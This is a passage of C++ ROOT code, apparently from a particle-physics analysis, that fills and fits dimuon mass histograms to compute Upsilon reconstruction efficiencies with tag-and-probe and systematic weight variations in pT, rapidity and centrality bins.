hnum_tp_pt_2[ibin] = new TH1F(Form(\"hnum_tp_pt_2_%i\",ibin),Form(\"hnum_tp_pt_2_%i\",ibin),250,7,12);\n hden_pt_3[ibin] = new TH1F(Form(\"hden_pt_3_%i\",ibin),Form(\"hden_pt_3_%i\",ibin),250,7,12);\n hnum_pt_3[ibin] = new TH1F(Form(\"hnum_pt_3_%i\",ibin),Form(\"hnum_pt_3_%i\",ibin),250,7,12);\n hnum_tp_pt_3[ibin] = new TH1F(Form(\"hnum_tp_pt_3_%i\",ibin),Form(\"hnum_tp_pt_3_%i\",ibin),250,7,12);\n hden_pt_4[ibin] = new TH1F(Form(\"hden_pt_4_%i\",ibin),Form(\"hden_pt_4_%i\",ibin),250,7,12);\n hnum_pt_4[ibin] = new TH1F(Form(\"hnum_pt_4_%i\",ibin),Form(\"hnum_pt_4_%i\",ibin),250,7,12);\n hnum_tp_pt_4[ibin] = new TH1F(Form(\"hnum_tp_pt_4_%i\",ibin),Form(\"hnum_tp_pt_4_%i\",ibin),250,7,12);\n hden_pt_5[ibin] = new TH1F(Form(\"hden_pt_5_%i\",ibin),Form(\"hden_pt_5_%i\",ibin),250,7,12);\n hnum_pt_5[ibin] = new TH1F(Form(\"hnum_pt_5_%i\",ibin),Form(\"hnum_pt_5_%i\",ibin),250,7,12);\n hnum_tp_pt_5[ibin] = new TH1F(Form(\"hnum_tp_pt_5_%i\",ibin),Form(\"hnum_tp_pt_5_%i\",ibin),250,7,12);\n }\n for (int ibin=0; ibin<NRAP1S+1; ibin++)\n {\n hden_rap_NS[ibin] = new TH1F(Form(\"hden_rap_NS_%i\",ibin),Form(\"hden_rap_NS_%i\",ibin),250,7,12);\n hnum_rap_NS[ibin] = new TH1F(Form(\"hnum_rap_NS_%i\",ibin),Form(\"hnum_rap_NS_%i\",ibin),250,7,12);\n hnum_tp_rap_NS[ibin] = new TH1F(Form(\"hnum_tp_rap_NS_%i\",ibin),Form(\"hnum_tp_rap_NS_%i\",ibin),250,7,12);\n hnum_tpsta_rap_NS[ibin] = new TH1F(Form(\"hnum_tpsta_rap_NS_%i\",ibin),Form(\"hnum_tpsta_rap_NS_%i\",ibin),250,7,12);\n hden_rap_1[ibin] = new TH1F(Form(\"hden_rap_1_%i\",ibin),Form(\"hden_rap_1_%i\",ibin),250,7,12);\n hnum_rap_1[ibin] = new TH1F(Form(\"hnum_rap_1_%i\",ibin),Form(\"hnum_rap_1_%i\",ibin),250,7,12);\n hnum_tp_rap_1[ibin] = new TH1F(Form(\"hnum_tp_rap_1_%i\",ibin),Form(\"hnum_tp_rap_1_%i\",ibin),250,7,12);\n hden_rap_2[ibin] = new TH1F(Form(\"hden_rap_2_%i\",ibin),Form(\"hden_rap_2_%i\",ibin),250,7,12);\n hnum_rap_2[ibin] = new TH1F(Form(\"hnum_rap_2_%i\",ibin),Form(\"hnum_rap_2_%i\",ibin),250,7,12);\n hnum_tp_rap_2[ibin] = new TH1F(Form(\"hnum_tp_rap_2_%i\",ibin),Form(\"hnum_tp_rap_2_%i\",ibin),250,7,12);\n hden_rap_3[ibin] = new TH1F(Form(\"hden_rap_3_%i\",ibin),Form(\"hden_rap_3_%i\",ibin),250,7,12);\n hnum_rap_3[ibin] = new TH1F(Form(\"hnum_rap_3_%i\",ibin),Form(\"hnum_rap_3_%i\",ibin),250,7,12);\n hnum_tp_rap_3[ibin] = new TH1F(Form(\"hnum_tp_rap_3_%i\",ibin),Form(\"hnum_tp_rap_3_%i\",ibin),250,7,12);\n hden_rap_4[ibin] = new TH1F(Form(\"hden_rap_4_%i\",ibin),Form(\"hden_rap_4_%i\",ibin),250,7,12);\n hnum_rap_4[ibin] = new TH1F(Form(\"hnum_rap_4_%i\",ibin),Form(\"hnum_rap_4_%i\",ibin),250,7,12);\n hnum_tp_rap_4[ibin] = new TH1F(Form(\"hnum_tp_rap_4_%i\",ibin),Form(\"hnum_tp_rap_4_%i\",ibin),250,7,12);\n hden_rap_5[ibin] = new TH1F(Form(\"hden_rap_5_%i\",ibin),Form(\"hden_rap_5_%i\",ibin),250,7,12);\n hnum_rap_5[ibin] = new TH1F(Form(\"hnum_rap_5_%i\",ibin),Form(\"hnum_rap_5_%i\",ibin),250,7,12);\n hnum_tp_rap_5[ibin] = new TH1F(Form(\"hnum_tp_rap_5_%i\",ibin),Form(\"hnum_tp_rap_5_%i\",ibin),250,7,12);\n }\n for (int ibin=0; ibin<NCENT1S+1; ibin++)\n {\n hden_cent_NS[ibin] = new TH1F(Form(\"hden_cent_NS_%i\",ibin),Form(\"hden_cent_NS_%i\",ibin),250,7,12);\n hnum_cent_NS[ibin] = new TH1F(Form(\"hnum_cent_NS_%i\",ibin),Form(\"hnum_cent_NS_%i\",ibin),250,7,12);\n hnum_tp_cent_NS[ibin] = new TH1F(Form(\"hnum_tp_cent_NS_%i\",ibin),Form(\"hnum_tp_cent_NS_%i\",ibin),250,7,12);\n hnum_tpsta_cent_NS[ibin] = new TH1F(Form(\"hnum_tpsta_cent_NS_%i\",ibin),Form(\"hnum_tpsta_cent_NS_%i\",ibin),250,7,12);\n hden_cent_1[ibin] = new TH1F(Form(\"hden_cent_1_%i\",ibin),Form(\"hden_cent_1_%i\",ibin),250,7,12);\n hnum_cent_1[ibin] = new TH1F(Form(\"hnum_cent_1_%i\",ibin),Form(\"hnum_cent_1_%i\",ibin),250,7,12);\n hnum_tp_cent_1[ibin] = new TH1F(Form(\"hnum_tp_cent_1_%i\",ibin),Form(\"hnum_tp_cent_1_%i\",ibin),250,7,12);\n hden_cent_2[ibin] = new TH1F(Form(\"hden_cent_2_%i\",ibin),Form(\"hden_cent_2_%i\",ibin),250,7,12);\n hnum_cent_2[ibin] = new TH1F(Form(\"hnum_cent_2_%i\",ibin),Form(\"hnum_cent_2_%i\",ibin),250,7,12);\n hnum_tp_cent_2[ibin] = new TH1F(Form(\"hnum_tp_cent_2_%i\",ibin),Form(\"hnum_tp_cent_2_%i\",ibin),250,7,12);\n hden_cent_3[ibin] = new TH1F(Form(\"hden_cent_3_%i\",ibin),Form(\"hden_cent_3_%i\",ibin),250,7,12);\n hnum_cent_3[ibin] = new TH1F(Form(\"hnum_cent_3_%i\",ibin),Form(\"hnum_cent_3_%i\",ibin),250,7,12);\n hnum_tp_cent_3[ibin] = new TH1F(Form(\"hnum_tp_cent_3_%i\",ibin),Form(\"hnum_tp_cent_3_%i\",ibin),250,7,12);\n hden_cent_4[ibin] = new TH1F(Form(\"hden_cent_4_%i\",ibin),Form(\"hden_cent_4_%i\",ibin),250,7,12);\n hnum_cent_4[ibin] = new TH1F(Form(\"hnum_cent_4_%i\",ibin),Form(\"hnum_cent_4_%i\",ibin),250,7,12);\n hnum_tp_cent_4[ibin] = new TH1F(Form(\"hnum_tp_cent_4_%i\",ibin),Form(\"hnum_tp_cent_4_%i\",ibin),250,7,12);\n hden_cent_5[ibin] = new TH1F(Form(\"hden_cent_5_%i\",ibin),Form(\"hden_cent_5_%i\",ibin),250,7,12);\n hnum_cent_5[ibin] = new TH1F(Form(\"hnum_cent_5_%i\",ibin),Form(\"hnum_cent_5_%i\",ibin),250,7,12);\n hnum_tp_cent_5[ibin] = new TH1F(Form(\"hnum_tp_cent_5_%i\",ibin),Form(\"hnum_tp_cent_5_%i\",ibin),250,7,12);\n }\n\n const unsigned int NPTNS = binningYS==1 ? NPT1S : NPT2S;\n const unsigned int NRAPNS = binningYS==1 ? NRAP1S : NRAP2S;\n const unsigned int NCENTNS = binningYS==1 ? NCENT1S : NCENT2S;\n\n const double *ptbins_NS = binningYS==1 ? ptbins_1S : ptbins_2S;\n const double *rapbins_NS = binningYS==1 ? rapbins_1S : rapbins_2S;\n const int *centbins_NS = binningYS==1 ? centbins_1S : centbins_2S;\n const float *fcentbins_NS = binningYS==1 ? fcentbins_1S : fcentbins_2S;\n\n const double massmin = YS==1 ? 8.0 : (YS==2 ? 8.5 : 8.8);\n const double massmax = YS==1 ? 10.5 : (YS==2 ? 11 : 11.3);\n\n f->cd();\n TH1F *hgenpt2 = new TH1F(\"hgenpt2\",\"hgenpt2\",100,0,50);\n TH1F *hgenrap2 = new TH1F(\"hgenrap2\",\"hgenrap2\",100,-2.5,2.5);\n TH1F *hgenpt = new TH1F(\"hgenpt\",\"hgenpt\",NPTNS,ptbins_NS);\n TH1F *hgenrap = new TH1F(\"hgenrap\",\"hgenrap\",NRAPNS,rapbins_NS);\n TH1F *hrecopt = new TH1F(\"hrecopt\",\"hrecopt\",NPTNS,ptbins_NS);\n TH1F *hrecorap = new TH1F(\"hrecorap\",\"hrecorap\",NRAPNS,rapbins_NS);\n TH1F *hrecocent = new TH1F(\"hrecocent\",\"hrecocent\",NCENTNS,fcentbins_NS);\n TH1F *hrecopt2 = new TH1F(\"hrecopt2\",\"hrecopt2\",100,0,50);\n TH1F *hrecorap2 = new TH1F(\"hrecorap2\",\"hrecorap2\",100,-2.5,2.5);\n TH1F *hrecocent2 = new TH1F(\"hrecocent2\",\"hrecocent2\",40,0,40);\n \n TH1F *heffpt = new TH1F(\"heffpt\",\"heffpt\",NPTNS,ptbins_NS);\n TH1F *heffrap = new TH1F(\"heffrap\",\"heffrap\",NRAPNS,rapbins_NS);\n TH1F *heffcent = new TH1F(\"heffcent\",\"heffcent\",NCENTNS,fcentbins_NS);\n TH1F *hefftppt = new TH1F(\"hefftppt\",\"hefftppt\",NPTNS,ptbins_NS);\n TH1F *hefftprap = new TH1F(\"hefftprap\",\"hefftprap\",NRAPNS,rapbins_NS);\n TH1F *hefftpcent = new TH1F(\"hefftpcent\",\"hefftpcent\",NCENTNS,fcentbins_NS);\n TH1F *hefftpstapt = new TH1F(\"hefftpstapt\",\"hefftpstapt\",NPTNS,ptbins_NS);\n TH1F *hefftpstarap = new TH1F(\"hefftpstarap\",\"hefftpstarap\",NRAPNS,rapbins_NS);\n TH1F *hefftpstacent = new TH1F(\"hefftpstacent\",\"hefftpstacent\",NCENTNS,fcentbins_NS);\n\n // don't read useless branches\n fChain->SetBranchStatus(\"Reco_mu*\",0); \n fChain->SetBranchStatus(\"Reco_trk*\",0); \n fChain->SetBranchStatus(\"Gen_mu*\",0); \n\n ////////////////////////////////////////////////////////////////////////////\n // now, event loop\n ////////////////////////////////////////////////////////////////////////////\n Long64_t nbytes = 0, nb = 0;\n for (Long64_t jentry=0; jentry<nentries;jentry++) {\n Long64_t ientry = LoadTree(jentry);\n if (ientry < 0) break;\n nb = fChain->GetEntry(jentry); nbytes += nb;\n // if (Cut(ientry) < 0) continue;\n\n double weight=1.;\n double weight1=1.; double weight2=1.; double weight3=1.; double weight4=1.; double weight5=1.;\n\n ////////////////////////////////////////////////////////\n // GEN loop\n ////////////////////////////////////////////////////////\n double genupspt=-999.; double genupsrap=-999.;\n if (Gen_QQ_size != 1) {cout << \"Oops! Gen_QQ_size = \" << Gen_QQ_size << endl; continue;}\n for (int igen=0; igen<Gen_QQ_size; igen++)\n {\n TLorentzVector *tlvgenmup = (TLorentzVector*) Gen_QQ_mupl_4mom->At(igen);\n TLorentzVector *tlvgenmum = (TLorentzVector*) Gen_QQ_mumi_4mom->At(igen);\n TLorentzVector *tlvgen = (TLorentzVector*) Gen_QQ_4mom->At(igen);\n // // let's consider the dimuon instead of the upsilon, to take into account FSR\n // TLorentzVector *tlvgen = new TLorentzVector(); *tlvgen = (*tlvgenmup) + (*tlvgenmum);\n\n genupspt = tlvgen->Pt();\n genupsrap = tlvgen->Rapidity();\n // if (ispbpb) weight = weight_shape(genupspt,YS);\n weight = weight_shape(genupspt,YS);\n if (ispbpb) weight *= weightpt(genupspt,YS)*FindCenWeight(Centrality,YS);\n weight1 = weight*weightpt_syst(genupspt,1);\n weight2 = weight*weightpt_syst(genupspt,2);\n weight3 = weight*weightrap(genupsrap,3);\n weight4 = weight*weightrap(genupsrap,4);\n if (ispbpb) weight5 = weight*FindCenWeight(Centrality,YS,true)/FindCenWeight(Centrality,YS);\n\n hgenpt->Fill(genupspt,weight);\n hgenpt2->Fill(genupspt,weight);\n hgenrap->Fill(genupsrap,weight);\n hgenrap2->Fill(genupsrap,weight);\n\n // if (tlvgen->M()<massmin || tlvgen->M()>massmax) continue;\n if (YS==1 && !smuacc_loose(tlvgenmup,tlvgenmum)) continue;\n // if (YS==1 && !smuacc_tight(tlvgenmup,tlvgenmum)) continue;\n if (YS!=1 && !smuacc_tight(tlvgenmup,tlvgenmum)) continue;\n // if (genupspt>ptbins_NS[NPTNS]) continue;\n if (fabs(genupsrap)>rapbins_NS[NRAPNS]) continue;\n\n ////////////////////////////////////////////////////////\n // let's fill the denominator histograms\n ////////////////////////////////////////////////////////\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n // if (ibin==0 && genupspt>ptbins_NS[NPTNS]) continue;\n if (ibin==0 || (genupspt>=ptbins_NS[ibin-1] && genupspt<ptbins_NS[ibin]))\n // den_pt_NS[ibin]+=weight;\n hden_pt_NS[ibin]->Fill(tlvgen->M(),weight);\n hden_pt_1[ibin]->Fill(tlvgen->M(),weight1);\n hden_pt_2[ibin]->Fill(tlvgen->M(),weight2);\n hden_pt_3[ibin]->Fill(tlvgen->M(),weight3);\n hden_pt_4[ibin]->Fill(tlvgen->M(),weight4);\n hden_pt_5[ibin]->Fill(tlvgen->M(),weight5);\n }\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n // if (ibin==0 && fabs(genupsrap)>rapbins_NS[NRAPNS]) continue;\n if (ibin==0 || (fabs(genupsrap)>=rapbins_NS[ibin-1] && fabs(genupsrap)<rapbins_NS[ibin]))\n // den_rap_NS[ibin]+=weight;\n hden_rap_NS[ibin]->Fill(tlvgen->M(),weight);\n hden_rap_1[ibin]->Fill(tlvgen->M(),weight1);\n hden_rap_2[ibin]->Fill(tlvgen->M(),weight2);\n hden_rap_3[ibin]->Fill(tlvgen->M(),weight3);\n hden_rap_4[ibin]->Fill(tlvgen->M(),weight4);\n hden_rap_5[ibin]->Fill(tlvgen->M(),weight5);\n }\n if (ispbpb)\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n if (ibin!=0 && (Centrality<centbins_NS[ibin-1] || Centrality>=centbins_NS[ibin])) continue;\n // den_cent_NS[ibin]+=weight;\n hden_cent_NS[ibin]->Fill(tlvgen->M(),weight);\n hden_cent_1[ibin]->Fill(tlvgen->M(),weight1);\n hden_cent_2[ibin]->Fill(tlvgen->M(),weight2);\n hden_cent_3[ibin]->Fill(tlvgen->M(),weight3);\n hden_cent_4[ibin]->Fill(tlvgen->M(),weight4);\n hden_cent_5[ibin]->Fill(tlvgen->M(),weight5);\n }\n }\n\n ////////////////////////////////////////////////////////\n // RECO loop\n ////////////////////////////////////////////////////////\n for (int irec=0; irec<Reco_QQ_size; irec++)\n {\n if (Reco_QQ_sign[irec]!=0) continue;\n TLorentzVector *tlvrec = (TLorentzVector*) Reco_QQ_4mom->At(irec);\n\n // cuts\n double weighttp=1.;\n double weighttpsta=1.;\n double recupspt=-1e99;\n double recupsrap=-1e99;\n if(!idcuts(irec)) continue;\n if (ispbpb\n // && (HLTriggers&1)==1 \n && (Reco_QQ_trig[irec]&1)!=1) continue;\n else if (!ispbpb\n // && (HLTriggers&2)==2\n && (Reco_QQ_trig[irec]&2)!=2) continue;\n TLorentzVector *tlvmup = (TLorentzVector*) Reco_QQ_mupl_4mom->At(irec);\n TLorentzVector *tlvmum = (TLorentzVector*) Reco_QQ_mumi_4mom->At(irec);\n if (YS==1 && !smuacc_loose(tlvmup,tlvmum)) continue;\n if (YS!=1 && !smuacc_tight(tlvmup,tlvmum)) continue;\n weighttp=weight_tp(tlvmup->Pt(),tlvmup->Eta(),ispbpb,var_tp1)\n *weight_tp(tlvmum->Pt(),tlvmum->Eta(),ispbpb,var_tp1);\n weighttpsta=weight_tpsta(tlvmup->Pt(),tlvmup->Eta(),ispbpb,var_tp2)\n *weight_tpsta(tlvmum->Pt(),tlvmum->Eta(),ispbpb,var_tp2);\n weighttp *= weighttpsta;\n if (weighttpsta<1) cout << weighttpsta << \" \" << tlvmup->Pt() << \" \" << tlvmup->Eta() << \" \" << tlvmum->Pt() << \" \" << tlvmum->Eta() << endl;\n recupspt = tlvrec->Pt();\n recupsrap = tlvrec->Rapidity();\n // // testing\n // weight = weight*weight_shape(recupspt,YS)/weight_shape(genupspt,YS);\n\n hrecopt->Fill(recupspt,weight);\n hrecorap->Fill(recupsrap,weight);\n hrecocent->Fill(Centrality,weight);\n hrecopt2->Fill(recupspt,weight);\n hrecorap2->Fill(recupsrap,weight);\n hrecocent2->Fill(Centrality,weight);\n // testing << eventNb << \" \" << runNb << \" \" << LS << endl;\n\n ////////////////////////////////////////////////////////\n // let's fill the numerator histograms\n ////////////////////////////////////////////////////////\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n double ptnum = Gen_QQ_size!=0 && (strategy==1 || strategy==3) ? genupspt : recupspt;\n if (ibin==0 || (ptnum>=ptbins_NS[ibin-1] && ptnum<ptbins_NS[ibin]))\n {\n // num_pt_NS[ibin]+=weight;\n // num_tp_pt_NS[ibin]+=weight*weighttp;\n hnum_pt_NS[ibin]->Fill(tlvrec->M(),weight); hnum_tp_pt_NS[ibin]->Fill(tlvrec->M(),weight*weighttp);\n hnum_tpsta_pt_NS[ibin]->Fill(tlvrec->M(),weight*weighttpsta);\n hnum_pt_1[ibin]->Fill(tlvrec->M(),weight1); hnum_tp_pt_1[ibin]->Fill(tlvrec->M(),weight1*weighttp);\n hnum_pt_2[ibin]->Fill(tlvrec->M(),weight2); hnum_tp_pt_2[ibin]->Fill(tlvrec->M(),weight2*weighttp);\n hnum_pt_3[ibin]->Fill(tlvrec->M(),weight3); hnum_tp_pt_3[ibin]->Fill(tlvrec->M(),weight3*weighttp);\n hnum_pt_4[ibin]->Fill(tlvrec->M(),weight4); hnum_tp_pt_4[ibin]->Fill(tlvrec->M(),weight4*weighttp);\n hnum_pt_5[ibin]->Fill(tlvrec->M(),weight5); hnum_tp_pt_5[ibin]->Fill(tlvrec->M(),weight5*weighttp);\n }\n }\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n double rapnum = Gen_QQ_size!=0 && (strategy==1 || strategy==3) ? genupsrap : recupsrap;\n if (ibin==0 || (fabs(rapnum)>=rapbins_NS[ibin-1] && fabs(rapnum)<rapbins_NS[ibin]))\n {\n // num_rap_NS[ibin]+=weight;\n // num_tp_rap_NS[ibin]+=weight*weighttp;\n hnum_rap_NS[ibin]->Fill(tlvrec->M(),weight); hnum_tp_rap_NS[ibin]->Fill(tlvrec->M(),weight*weighttp);\n hnum_tpsta_rap_NS[ibin]->Fill(tlvrec->M(),weight*weighttpsta);\n hnum_rap_1[ibin]->Fill(tlvrec->M(),weight1); hnum_tp_rap_1[ibin]->Fill(tlvrec->M(),weight1*weighttp);\n hnum_rap_2[ibin]->Fill(tlvrec->M(),weight2); hnum_tp_rap_2[ibin]->Fill(tlvrec->M(),weight2*weighttp);\n hnum_rap_3[ibin]->Fill(tlvrec->M(),weight3); hnum_tp_rap_3[ibin]->Fill(tlvrec->M(),weight3*weighttp);\n hnum_rap_4[ibin]->Fill(tlvrec->M(),weight4); hnum_tp_rap_4[ibin]->Fill(tlvrec->M(),weight4*weighttp);\n hnum_rap_5[ibin]->Fill(tlvrec->M(),weight5); hnum_tp_rap_5[ibin]->Fill(tlvrec->M(),weight5*weighttp);\n }\n }\n if (ispbpb)\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n if (ibin!=0 && (Centrality<centbins_NS[ibin-1] || Centrality>=centbins_NS[ibin])) continue;\n // num_cent_NS[ibin]+=weight;\n // num_tp_cent_NS[ibin]+=weight*weighttp;\n hnum_cent_NS[ibin]->Fill(tlvrec->M(),weight); hnum_tp_cent_NS[ibin]->Fill(tlvrec->M(),weight*weighttp);\n hnum_tpsta_cent_NS[ibin]->Fill(tlvrec->M(),weight*weighttpsta);\n hnum_cent_1[ibin]->Fill(tlvrec->M(),weight1); hnum_tp_cent_1[ibin]->Fill(tlvrec->M(),weight1*weighttp);\n hnum_cent_2[ibin]->Fill(tlvrec->M(),weight2); hnum_tp_cent_2[ibin]->Fill(tlvrec->M(),weight2*weighttp);\n hnum_cent_3[ibin]->Fill(tlvrec->M(),weight3); hnum_tp_cent_3[ibin]->Fill(tlvrec->M(),weight3*weighttp);\n hnum_cent_4[ibin]->Fill(tlvrec->M(),weight4); hnum_tp_cent_4[ibin]->Fill(tlvrec->M(),weight4*weighttp);\n hnum_cent_5[ibin]->Fill(tlvrec->M(),weight5); hnum_tp_cent_5[ibin]->Fill(tlvrec->M(),weight5*weighttp);\n }\n }\n\n }\n ////////////////////////////////////////////////////////////////////////////\n // end of event loop\n ////////////////////////////////////////////////////////////////////////////\n\n ////////////////////////////////////////////////////////////////////////////\n // compute numerators\n ////////////////////////////////////////////////////////////////////////////\n for (unsigned int ibin=0; ibin<NPTNS+1; ibin++)\n {\n den_pt_NS[ibin] = countNS(hden_pt_NS[ibin],massmin,massmax,denerr_pt_NS[ibin]);\n num_pt_NS[ibin] = (strategy<2) ? fitNS(hnum_pt_NS[ibin],numerr_pt_NS[ibin],YS) : countNS(hnum_pt_NS[ibin],massmin,massmax,numerr_pt_NS[ibin]);\n num_tp_pt_NS[ibin] = (strategy<2) ? fitNS(hnum_tp_pt_NS[ibin],numerr_tp_pt_NS[ibin],YS) : countNS(hnum_tp_pt_NS[ibin],massmin,massmax,numerr_tp_pt_NS[ibin]);\n num_tpsta_pt_NS[ibin] = (strategy<2) ? fitNS(hnum_tpsta_pt_NS[ibin],numerr_tpsta_pt_NS[ibin],YS) : countNS(hnum_tpsta_pt_NS[ibin],massmin,massmax,numerr_tpsta_pt_NS[ibin]);\n den_pt_1[ibin] = countNS(hden_pt_1[ibin],massmin,massmax,dummyerr);\n num_pt_1[ibin] = (strategy<2) ? fitNS(hnum_pt_1[ibin],dummyerr,YS) : countNS(hnum_pt_1[ibin],massmin,massmax,dummyerr);\n num_tp_pt_1[ibin] = (strategy<2) ? fitNS(hnum_tp_pt_1[ibin],dummyerr,YS) : countNS(hnum_tp_pt_1[ibin],massmin,massmax,dummyerr);\n den_pt_2[ibin] = countNS(hden_pt_2[ibin],massmin,massmax,dummyerr);\n num_pt_2[ibin] = (strategy<2) ? fitNS(hnum_pt_2[ibin],dummyerr,YS) : countNS(hnum_pt_2[ibin],massmin,massmax,dummyerr);\n num_tp_pt_2[ibin] = (strategy<2) ? fitNS(hnum_tp_pt_2[ibin],dummyerr,YS) : countNS(hnum_tp_pt_2[ibin],massmin,massmax,dummyerr);\n den_pt_3[ibin] = countNS(hden_pt_3[ibin],massmin,massmax,dummyerr);\n num_pt_3[ibin] = (strategy<2) ? fitNS(hnum_pt_3[ibin],dummyerr,YS) : countNS(hnum_pt_3[ibin],massmin,massmax,dummyerr);\n num_tp_pt_3[ibin] = (strategy<2) ? fitNS(hnum_tp_pt_3[ibin],dummyerr,YS) : countNS(hnum_tp_pt_3[ibin],massmin,massmax,dummyerr);\n den_pt_4[ibin] = countNS(hden_pt_4[ibin],massmin,massmax,dummyerr);\n num_pt_4[ibin] = (strategy<2) ? fitNS(hnum_pt_4[ibin],dummyerr,YS) : countNS(hnum_pt_4[ibin],massmin,massmax,dummyerr);\n num_tp_pt_4[ibin] = (strategy<2) ? fitNS(hnum_tp_pt_4[ibin],dummyerr,YS) : countNS(hnum_tp_pt_4[ibin],massmin,massmax,dummyerr);\n den_pt_5[ibin] = countNS(hden_pt_5[ibin],massmin,massmax,dummyerr);\n num_pt_5[ibin] = (strategy<2) ? fitNS(hnum_pt_5[ibin],dummyerr,YS) : countNS(hnum_pt_5[ibin],massmin,massmax,dummyerr);\n num_tp_pt_5[ibin] = (strategy<2) ? fitNS(hnum_tp_pt_5[ibin],dummyerr,YS) : countNS(hnum_tp_pt_5[ibin],massmin,massmax,dummyerr);\n }\n for (unsigned int ibin=0; ibin<NRAPNS+1; ibin++)\n {\n den_rap_NS[ibin] = countNS(hden_rap_NS[ibin],massmin,massmax,denerr_rap_NS[ibin]);\n num_rap_NS[ibin] = (strategy<2) ? fitNS(hnum_rap_NS[ibin],numerr_rap_NS[ibin],YS) : countNS(hnum_rap_NS[ibin],massmin,massmax,numerr_rap_NS[ibin]);\n num_tp_rap_NS[ibin] = (strategy<2) ? fitNS(hnum_tp_rap_NS[ibin],numerr_tp_rap_NS[ibin],YS) : countNS(hnum_tp_rap_NS[ibin],massmin,massmax,numerr_tp_rap_NS[ibin]);\n num_tpsta_rap_NS[ibin] = (strategy<2) ? fitNS(hnum_tpsta_rap_NS[ibin],numerr_tpsta_rap_NS[ibin],YS) : countNS(hnum_tpsta_rap_NS[ibin],massmin,massmax,numerr_tpsta_rap_NS[ibin]);\n den_rap_1[ibin] = countNS(hden_rap_1[ibin],massmin,massmax,dummyerr);\n num_rap_1[ibin] = (strategy<2) ? fitNS(hnum_rap_1[ibin],dummyerr,YS) : countNS(hnum_rap_1[ibin],massmin,massmax,dummyerr);\n num_tp_rap_1[ibin] = (strategy<2) ? fitNS(hnum_tp_rap_1[ibin],dummyerr,YS) : countNS(hnum_tp_rap_1[ibin],massmin,massmax,dummyerr);\n den_rap_2[ibin] = countNS(hden_rap_2[ibin],massmin,massmax,dummyerr);\n num_rap_2[ibin] = (strategy<2) ? fitNS(hnum_rap_2[ibin],dummyerr,YS) : countNS(hnum_rap_2[ibin],massmin,massmax,dummyerr);\n num_tp_rap_2[ibin] = (strategy<2) ? fitNS(hnum_tp_rap_2[ibin],dummyerr,YS) : countNS(hnum_tp_rap_2[ibin],massmin,massmax,dummyerr);\n den_rap_3[ibin] = countNS(hden_rap_3[ibin],massmin,massmax,dummyerr);\n num_rap_3[ibin] = (strategy<2) ? fitNS(hnum_rap_3[ibin],dummyerr,YS) : countNS(hnum_rap_3[ibin],massmin,massmax,dummyerr);\n num_tp_rap_3[ibin] = (strategy<2) ? fitNS(hnum_tp_rap_3[ibin],dummyerr,YS) : countNS(hnum_tp_rap_3[ibin],massmin,massmax,dummyerr);\n den_rap_4[ibin] = countNS(hden_rap_4[ibin],massmin,massmax,dummyerr);\n num_rap_4[ibin] = (strategy<2) ? fitNS(hnum_rap_4[ibin],dummyerr,YS) : countNS(hnum_rap_4[ibin],massmin,massmax,dummyerr);\n num_tp_rap_4[ibin] = (strategy<2) ? fitNS(hnum_tp_rap_4[ibin],dummyerr,YS) : countNS(hnum_tp_rap_4[ibin],massmin,massmax,dummyerr);\n den_rap_5[ibin] = countNS(hden_rap_5[ibin],massmin,massmax,dummyerr);\n num_rap_5[ibin] = (strategy<2) ? fitNS(hnum_rap_5[ibin],dummyerr,YS) : countNS(hnum_rap_5[ibin],massmin,massmax,dummyerr);\n num_tp_rap_5[ibin] = (strategy<2) ? fitNS(hnum_tp_rap_5[ibin],dummyerr,YS) : countNS(hnum_tp_rap_5[ibin],massmin,massmax,dummyerr);\n }\n if (ispbpb)\n {\n for (unsigned int ibin=0; ibin<NCENTNS+1; ibin++)\n {\n den_cent_NS[ibin] = countNS(hden_cent_NS[ibin],massmin,massmax,denerr_cent_NS[ibin]);\n num_cent_NS[ibin] = (strategy<2) ? fitNS(hnum_cent_NS[ibin],numerr_cent_NS[ibin],YS) : countNS(hnum_cent_NS[ibin],massmin,massmax,numerr_cent_NS[ibin]);\n num_tp_cent_NS[ibin] = (strategy<2) ? fitNS(hnum_tp_cent_NS[ibin],numerr_tp_cent_NS[ibin],YS) : countNS(hnum_tp_cent_NS[ibin],massmin,massmax,numerr_tp_cent_NS[ibin]);\n num_tpsta_cent_NS[ibin] = (strategy<2) ? fitNS(hnum_tpsta_cent_NS[ibin],numerr_tpsta_cent_NS[ibin],YS) : countNS(hnum_tpsta_cent_NS[ibin],massmin,massmax,numerr_tpsta_cent_NS[ibin]);\n den_cent_1[ibin] = countNS(hden_cent_1[ibin],massmin,massmax,dummyerr);\n num_cent_1[ibin] = (strategy<2) ? fitNS(hnum_cent_1[ibin],dummyerr,YS) : countNS(hnum_cent_1[ibin],massmin,massmax,dummyerr);\n num_tp_cent_1[ibin] = (strategy<2) ? fitNS(hnum_tp_cent_1[ibin],dummyerr,YS) : countNS(hnum_tp_cent_1[ibin],massmin,massmax,dummyerr);\n den_cent_2[ibin] = countNS(hden_cent_2[ibin],massmin,massmax,dummyerr);\n num_cent_2[ibin] = (strategy<2) ? fitNS(hnum_cent_2[ibin],dummyerr,YS) : countNS(hnum_cent_2[ibin],massmin,massmax,dummyerr);\n num_tp_cent_2[ibin] = (strategy<2) ? fitNS(hnum_tp_cent_2[ibin],dummyerr,YS) : countNS(hnum_tp_cent_2[ibin],massmin,massmax,dummyerr);\n den_cent_3[ibin] = countNS(hden_cent_3[ibin],massmin,massmax,dummyerr);\n num_cent_3[ibin] = (strategy<2) ? fitNS(hnum_cent_3[ibin],dummyerr,YS) : countNS(hnum_cent_3[ibin],massmin,massmax,dummyerr);\n num_tp_cent_3[ibin] = (strategy<2) ? fitNS(hnum_tp_cent_3[ibin],dummyerr,YS) : countNS(hnum_tp_cent_3[ibin],massmin,massmax,dummyerr);\n den_cent_4[ibin] = countNS(hden_cent_4[ibin],massmin,massmax,dummyerr);\n num_cent_4[ibin] = (strategy<2) ? fitNS(hnum_cent_4[ibin],dummyerr,YS) : countNS(hnum_cent_4[ibin],massmin,massmax,dummyerr);\n num_tp_cent_4[ibin] = (strategy<2) ? fitNS(hnum_tp_cent_4[ibin],dummyerr,YS) : countNS(hnum_tp_cent_4[ibin],massmin,massmax,dummyerr);\n den_cent_5[ibin] = countNS(hden_cent_5[ibin],massmin,massmax,dummyerr);\n num_cent_5[ibin] = (strategy<2) ? fitNS(hnum_cent_5[ibin],dummyerr,YS) 